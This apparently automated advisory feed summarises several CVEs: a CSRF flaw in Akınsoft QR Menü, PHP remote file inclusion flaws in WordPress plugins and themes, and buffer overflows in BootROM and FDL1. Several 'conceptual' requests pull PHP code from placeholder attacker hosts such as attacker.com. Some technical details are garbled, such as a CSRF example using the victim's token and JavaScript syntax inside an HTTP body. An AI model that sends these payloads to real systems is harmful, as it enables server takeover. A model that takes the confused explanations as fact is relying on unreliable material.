Author: Ameeba

CVE-2025-0610: CSRF Vulnerability in Akınsoft QR Menü Leading to Potential System Compromise
Overview

This article provides a deep dive into the recently discovered vulnerability, CVE-2025-0610, a Cross-Site Request Forgery (CSRF) vulnerability in Akınsoft QR Menü. This vulnerability affects versions s1.05.06 to v1.05.12 and has the potential to lead to system compromise or data leakage. This issue is particularly concerning due to the widespread use of the Akınsoft QR Menü in various sectors, making it a prime target for malicious actors.

Vulnerability Summary

CVE ID: CVE-2025-0610
Severity: High (8.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Akınsoft QR Menü | s1.05.06 to v1.05.12

How the Exploit Works

The vulnerability CVE-2025-0610 leverages a CSRF flaw in Akınsoft QR Menü. A CSRF attack occurs when an attacker tricks a victim into performing actions on their behalf on a web application in which they’re authenticated. With this vulnerability, an attacker could potentially send a crafted request to a user. If the user executes the request, the attacker could execute arbitrary actions on the system with the privileges of the victim, leading to potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited using a malicious HTTP request:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "csrf_token": "victim's token", "action": "malicious action" }
```
In this example, the attacker creates a post request with the victim’s CSRF token and a malicious action. If the victim’s browser executes this request, the attacker will be able to carry out the malicious action on behalf of the victim.

Mitigation and Prevention

Users of Akınsoft QR Menü versions s1.05.06 to v1.05.12 are advised to immediately apply the vendor patch to mitigate this vulnerability. In the absence of a patch, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. Regularly updating software and using robust security systems can also help prevent the exploitation of such vulnerabilities.
September 6, 2025
CVE-2025-53567: High Severity PHP Remote File Inclusion Vulnerability in nK Ghost Kit
Overview

The newly discovered vulnerability, designated as CVE-2025-53567, poses a critical threat to websites using the nK Ghost Kit plugin. This PHP Remote File Inclusion vulnerability allows an attacker to execute arbitrary code on the server, potentially leading to system compromise or data leakage. Given the popularity of PHP and nK Ghost Kit in web development, this issue could affect a significant number of websites worldwide, potentially exposing a large amount of sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-53567
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

nK Ghost Kit | Up to and including 3.4.1

How the Exploit Works

The vulnerability stems from an improper control of filename for Include/Require Statement in the PHP program within nK Ghost Kit. This allows an attacker to manipulate the input data and include a remote file from an external server. When the server processes the request, the malicious PHP code contained in the remote file is executed.

Conceptual Example Code

The following pseudocode provides a conceptual understanding of how this exploit might be executed.
```
<?php
// The attacker-controlled variable that contains the URL of the remote file
$attacker_controlled_url = "http://malicious.example.com/malicious_file.php";
// The vulnerable include/require statement
include($attacker_controlled_url);
?>
```
In this example, the attacker has control over the `$attacker_controlled_url` variable. When the include statement is executed, the PHP interpreter fetches the file from `http://malicious.example.com/malicious_file.php` and executes its content as PHP code. If the malicious file contains code for a shell command or data exfiltration, it can lead to system compromise or data leakage.

Mitigation

As a temporary mitigation measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be deployed to block attempts to exploit this vulnerability. However, the most effective solution is to apply the vendor-supplied patch. If you are using an affected version of nK Ghost Kit, it is recommended to update it immediately to protect your system from potential attacks.
September 6, 2025
CVE-2022-38696: BootRom Memory Buffer Overflow Vulnerability
Overview

CVE-2022-38696 is a critical security vulnerability that has been identified in the BootRom software, which if exploited, could lead to a buffer overflow condition. This condition could potentially allow attackers to execute arbitrary code, leading to system compromise or data leakage. Given the ubiquitous nature of BootRom in various devices and systems, this vulnerability presents a significant risk to organizations, necessitating immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2022-38696
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

BootRom | All versions prior to the latest patch

How the Exploit Works

The vulnerability originates from a missing payload size check within the BootRom software. As a result, an attacker can send an excessively large payload to the system, causing a buffer overflow. This overflow can corrupt data, crash the system, or allow the execution of malicious code. Since no additional execution privileges are required, the vulnerability can be exploited by any attacker who can reach the system over the network.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability using a malicious payload.
```
POST /bootrom/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
{ "payload": "A".repeat(1000000) }
```
In the example above, the attacker sends a POST request to the vulnerable BootRom endpoint with an excessively large payload. The ‘A’.repeat(1000000) is a placeholder for a payload large enough to cause a buffer overflow.

How to Mitigate the Risk

The most effective way to mitigate the risk associated with this vulnerability is to apply the latest patch provided by the vendor. This patch addresses the payload size check issue, thus preventing the buffer overflow condition.
For those unable to immediately apply the patch, temporary mitigation can be achieved through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can be configured to monitor and block suspiciously large payloads, offering some protection until the patch can be applied. However, this is a temporary solution and does not fully address the underlying issue. As such, applying the patch should be prioritized as soon as feasible.
September 6, 2025
CVE-2022-38693: Severe Memory Buffer Overflow Vulnerability in FDL1
Overview

The vulnerability, identified as CVE-2022-38693, is a critical issue embedded in the FDL1 software component. It involves a potential missing payload size check, which could lead to a memory buffer overflow situation. This vulnerability is highly significant as it does not require additional execution privileges, making it much easier for a potential attacker to exploit. Furthermore, the consequences of a successful exploit could result in system compromise or data leakage, putting sensitive information at risk.

Vulnerability Summary

CVE ID: CVE-2022-38693
Severity: Critical (9.8)
Attack Vector: Local network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

FDL1 | All versions up to latest

How the Exploit Works

The exploit works by taking advantage of a missing payload size check in FDL1. An attacker can send a large payload that the system does not properly check the size of. This results in a buffer overflow, allowing the attacker to overwrite memory and potentially execute arbitrary code. This could lead to system compromise or data leakage, depending on the specifics of the system and the attacker’s intentions.

Conceptual Example Code

This vulnerability might be exploited with a malicious HTTP POST request that includes a large payload, as illustrated conceptually below:
```
POST /fdl1/process HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "payload": "A very long string that exceeds the buffer size..."}
```
The string in the “payload” field is longer than the buffer size that FDL1 is prepared to handle. If the payload size check is missing or improperly implemented, this could result in a buffer overflow.

Mitigation Guidance

Immediate mitigation for this vulnerability includes applying the vendor patch if available. If no patch is available, temporary mitigation may include implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block potentially malicious payloads. However, these are not long-term solutions, and users are strongly encouraged to apply the vendor’s patch as soon as it becomes available.
Keeping software up-to-date and following the principle of least privilege when assigning user roles and permissions can also help reduce the risk of this and other vulnerabilities.
September 6, 2025
CVE-2022-38692: Critical RSA Key Size Validation Vulnerability in BootROM
Overview

BootROM, a fundamental component in many computing systems, is susceptible to a critical vulnerability identified as CVE-2022-38692. This vulnerability pertains to the missing size check for RSA keys during Certificate Type 0 validation, which can potentially cause memory buffer overflow. This issue is significant as it does not necessitate additional execution privileges, thereby increasing the ease and potential impact of exploitation. The vulnerability affects a broad range of users and systems, making it a prominent concern in the cybersecurity landscape.

Vulnerability Summary

CVE ID: CVE-2022-38692
Severity: Critical (CVSS Score: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

BootROM | All versions prior to the security patch

How the Exploit Works

The exploit hinges on the lack of size check for RSA keys during the validation of Certificate Type 0 in BootROM. In cryptographic operations, RSA keys are essential, and their management is a critical security concern. An attacker can craft a Certificate Type 0 with an oversized RSA key, which the BootROM would attempt to load into a buffer of a predefined size. The oversized key leads to a buffer overflow, potentially causing system instability or creating an opportunity for the execution of malicious code.

Conceptual Example Code

Below is a conceptual pseudocode example of how the vulnerability might be exploited:
```
def exploit(target):
# Prepare an oversized RSA key.
oversized_rsa_key = generate_rsa_key(size=OVERSIZED)
# Craft a Certificate Type 0 with the oversized RSA key.
crafted_certificate = craft_certificate(rsa_key=oversized_rsa_key)
# Send the crafted certificate to the target.
send_to_target(target, crafted_certificate)
```
This code generates an oversized RSA key, embeds it into a crafted Certificate Type 0, and sends it to the target. The BootROM on the target system will attempt to load this oversized key into a buffer, causing a buffer overflow.

Mitigation Guidance

To mitigate or resolve this vulnerability, users are strongly encouraged to apply the vendor’s security patch as soon as it becomes available. If the patch is not immediately accessible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can help detect and prevent attempts to exploit the vulnerability, thereby reducing the risk of a successful attack.
September 6, 2025
CVE-2025-53565: PHP Remote File Inclusion Vulnerability in RadiusTheme Widget for Google Reviews
Overview

Today, we’re diving into the details of a significant security flaw, CVE-2025-53565, a PHP Remote File Inclusion vulnerability found in the RadiusTheme Widget for Google Reviews. This vulnerability affects all versions up to and including 1.0.15 and poses a significant threat to the security of any websites using this widget. This technical flaw allows an attacker to include remote PHP files, potentially leading to system compromise or data leakage. Therefore, understanding this vulnerability and how to mitigate its impact is critical for system administrators and web developers alike.

Vulnerability Summary

CVE ID: CVE-2025-53565
Severity: High (8.1 CVSS v3 Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

RadiusTheme Widget for Google Reviews | n/a through 1.0.15

How the Exploit Works

The PHP Remote File Inclusion vulnerability is a common type of vulnerability that occurs when a PHP script uses user-controlled data without proper validation in a ‘require’ or ‘include’ function. This can allow an attacker to inject a file from a remote server, which then gets executed in the context of the attacked application. In the case of CVE-2025-53565, the vulnerability resides in the RadiusTheme Widget for Google Reviews, which fails to properly validate the filename for the ‘include’ statement.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited using a malicious URL:
```
GET /vulnerable_widget.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com
```
In this example, the attacker tricks the application into requesting a malicious PHP file (‘malicious_file.php’) from the attacker’s server (‘attacker.com’). The server then includes this file in its response, which is subsequently executed by the PHP engine on the target server, potentially leading to system compromise or data leakage.

Mitigation Guidance

To protect your systems from this vulnerability, apply the vendor patch as soon as it becomes available. In the meantime, consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These can be configured to block or alert on any attempts to exploit this vulnerability. Also, always remember to validate and sanitize all user inputs, especially those used in file include statements, to prevent such vulnerabilities in the first place.
September 6, 2025
CVE-2025-53207: Critical PHP Remote File Inclusion Vulnerability in WP Travel Gutenberg Blocks
Overview

In the cybersecurity landscape, the discovery of new vulnerabilities is a regular occurrence that organizations must be prepared for. One such vulnerability, identified as CVE-2025-53207, has recently surfaced, posing significant threats to WordPress sites using the WP Travel Gutenberg Blocks plugin. This post aims to provide a comprehensive understanding of this vulnerability, its potential impact, and the necessary measures to mitigate its risks.
The vulnerability in question involves an improper control of filename for the Include/Require statement in a PHP program. This flaw, commonly referred to as ‘PHP Remote File Inclusion‘ (RFI), could allow an attacker to include a remote file from an external server. This vulnerability matters because it can lead to system compromise or data leakage, posing a considerable risk to any organization that uses the affected plugin.

Vulnerability Summary

CVE ID: CVE-2025-53207
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WP Travel Gutenberg Blocks | All versions up to 3.9.0

How the Exploit Works

The exploit works by taking advantage of the PHP RFI vulnerability in the WP Travel Gutenberg Blocks plugin. The vulnerability lies in the improper handling of filenames for Include/Require statement in the PHP program. An attacker can manipulate this flaw to remotely include a file from an external server, which will then be executed in the context of the application. This could potentially lead to unauthorized access, system compromise, or data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This pseudocode represents a potential HTTP request made by an attacker:
```
POST /wp-content/plugins/wp-travel-gutenberg-blocks/vulnerable.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
file=http://attacker.com/malicious_script.php
```
In this example, the attacker sends a POST request to the vulnerable page, specifying a malicious PHP script hosted on their server. If the request is successful, the server would include and execute the malicious script, potentially compromising the system.

Mitigation Guidance

The first line of defense against this vulnerability is to apply the vendor-provided patch. It is highly recommended that users of the WP Travel Gutenberg Blocks plugin update to the latest version, which includes important security improvements that address this flaw.
In cases where immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These tools can monitor and block suspicious requests, including those attempting to exploit this vulnerability.
Remember, the best defense is a good offense. Stay proactive in maintaining and updating your software to ensure your systems remain secure against emerging cybersecurity threats.
September 6, 2025
CVE-2025-53204: PHP Remote File Inclusion Vulnerability in ovatheme eventlist
Overview

In the rapidly evolving world of cybersecurity, a new vulnerability has caught our attention: the CVE-2025-53204. This vulnerability pertains to an improper control of filename for include/require statement in PHP Program, commonly known as a ‘PHP Remote File Inclusion’ vulnerability. The affected software is ovatheme’s eventlist, a widely used event management plugin for websites. This vulnerability is significant because it poses a risk of system compromise and data leakage, making it a pressing issue for any organization utilizing this software.

Vulnerability Summary

CVE ID: CVE-2025-53204
Severity: High (CVSS score 8.1)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ovatheme eventlist | through 1.9.2

How the Exploit Works

The vulnerability exists due to an error in the eventlist software’s processing of PHP include/require statements. This allows an attacker to manipulate the filename parameter and include arbitrary files from remote servers. These files could contain malicious PHP code, which would then be executed in the context of the web server. As a result, the attacker could gain unauthorized access to the system or sensitive data.

Conceptual Example Code

Here’s an example of how the vulnerability might be exploited:
```
GET /path/to/eventlist/index.php?page=http://malicious.com/malicious_script.txt HTTP/1.1
Host: target.example.com
```
In this example, the attacker has manipulated the “page” parameter to include a malicious PHP script hosted on their own server (`http://malicious.com/malicious_script.txt`). When the server processes this request, it includes the malicious script, which is then executed on the server. This could lead to a variety of harmful outcomes, depending on the content of the malicious script.

Mitigation Guidance

Organizations are urged to apply the vendor-provided patch as soon as possible to mitigate the risk posed by this vulnerability. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts to exploit this vulnerability. When configuring these systems, look for suspicious activity involving the manipulation of PHP include/require statements, particularly those involving remote file references.
In conclusion, the CVE-2025-53204 is a high-severity vulnerability that requires immediate attention. By understanding the nature of the vulnerability and taking the appropriate steps to mitigate its risks, organizations can help protect their systems and data from potential compromise.
September 6, 2025
CVE-2025-53198: PHP Remote File Inclusion Vulnerability in Favethemes Houzez
Overview

A significant security vulnerability has been identified in the Favethemes Houzez PHP program, which affects all versions up to 4.0.4. This vulnerability, identified as CVE-2025-53198, is related to an improper control of filename for Include/Require Statement, also known as a PHP Remote File Inclusion. Given the ubiquity of PHP in web development, and particularly the widespread usage of Favethemes Houzez, this vulnerability could potentially affect a large number of websites and their users. The severity of this issue is further compounded by its potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53198
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Favethemes Houzez | Up to 4.0.4

How the Exploit Works

The vulnerability arises from improper control of filename for Include/Require Statement in the PHP program. This can allow an attacker to inject a file from a remote server, circumventing the need for local file inclusion. In essence, the attacker can manipulate the PHP ‘include’ or ‘require’ statement to reference a specific file on their own server, effectively running their own code on the targeted system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
include=http://attacker.com/malicious_file.php
```
In this hypothetical example, the attacker sends a POST request to the vulnerable endpoint on the target server. The ‘include’ parameter references a malicious PHP file hosted on the attacker’s server. If the server is vulnerable, it would download and execute the malicious PHP file, granting the attacker control over the server.

Mitigation

To mitigate the risk posed by this vulnerability, users are urged to apply the patch provided by the vendor. In cases where immediate patching is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by monitoring and potentially blocking suspicious activities. However, these measures should be considered temporary, and it is strongly recommended that the vendor’s patch be applied as soon as possible to fully address the vulnerability.
September 6, 2025
CVE-2025-48171: PHP Remote File Inclusion Vulnerability in Cena Store
Overview

CVE-2025-48171 is a critical vulnerability that affects the Cena Store application developed by thembay. This vulnerability is due to improper control of the filename for include/require statements in the PHP program. This allows malicious actors to exploit the PHP Local File Inclusion (LFI), leading to potential system compromise or data leakage.
As the Cena Store application is widely used in various e-commerce platforms, the impact of this vulnerability can be widespread, potentially affecting numerous online stores and their users. Thus, it is highly important to understand this vulnerability and implement the recommended mitigation measures.

Vulnerability Summary

CVE ID: CVE-2025-48171
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Cena Store by thembay | n/a through 2.11.26

How the Exploit Works

The vulnerability arises from the improper control of filename for include/require statements in the PHP program, specifically within the Cena Store application. This improper control allows an attacker to include a file from a remote server, which can contain malicious code.
The attacker can exploit this vulnerability by sending a specially crafted request to the server hosting the Cena Store application. The server then processes this request, leading to the inclusion of the remote file and execution of the malicious code.

Conceptual Example Code

Here is a hypothetical example of how the vulnerability might be exploited.
```
GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: vulnerable-cena-store.com
```
The above request tells the server to fetch the file `malicious.php` from `attacker.com` and include it in `index.php`. This effectively allows the attacker to execute arbitrary PHP code on the server, leading to potential system compromise or data leakage.

Mitigation and Recommendations

To mitigate this vulnerability, it is recommended that users of the affected Cena Store versions immediately apply the vendor provided patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
In addition, it’s also advisable to regularly update and patch all software to prevent exploitation of known vulnerabilities. Regular security audits and code reviews can also go a long way in ensuring the security of your systems.
September 6, 2025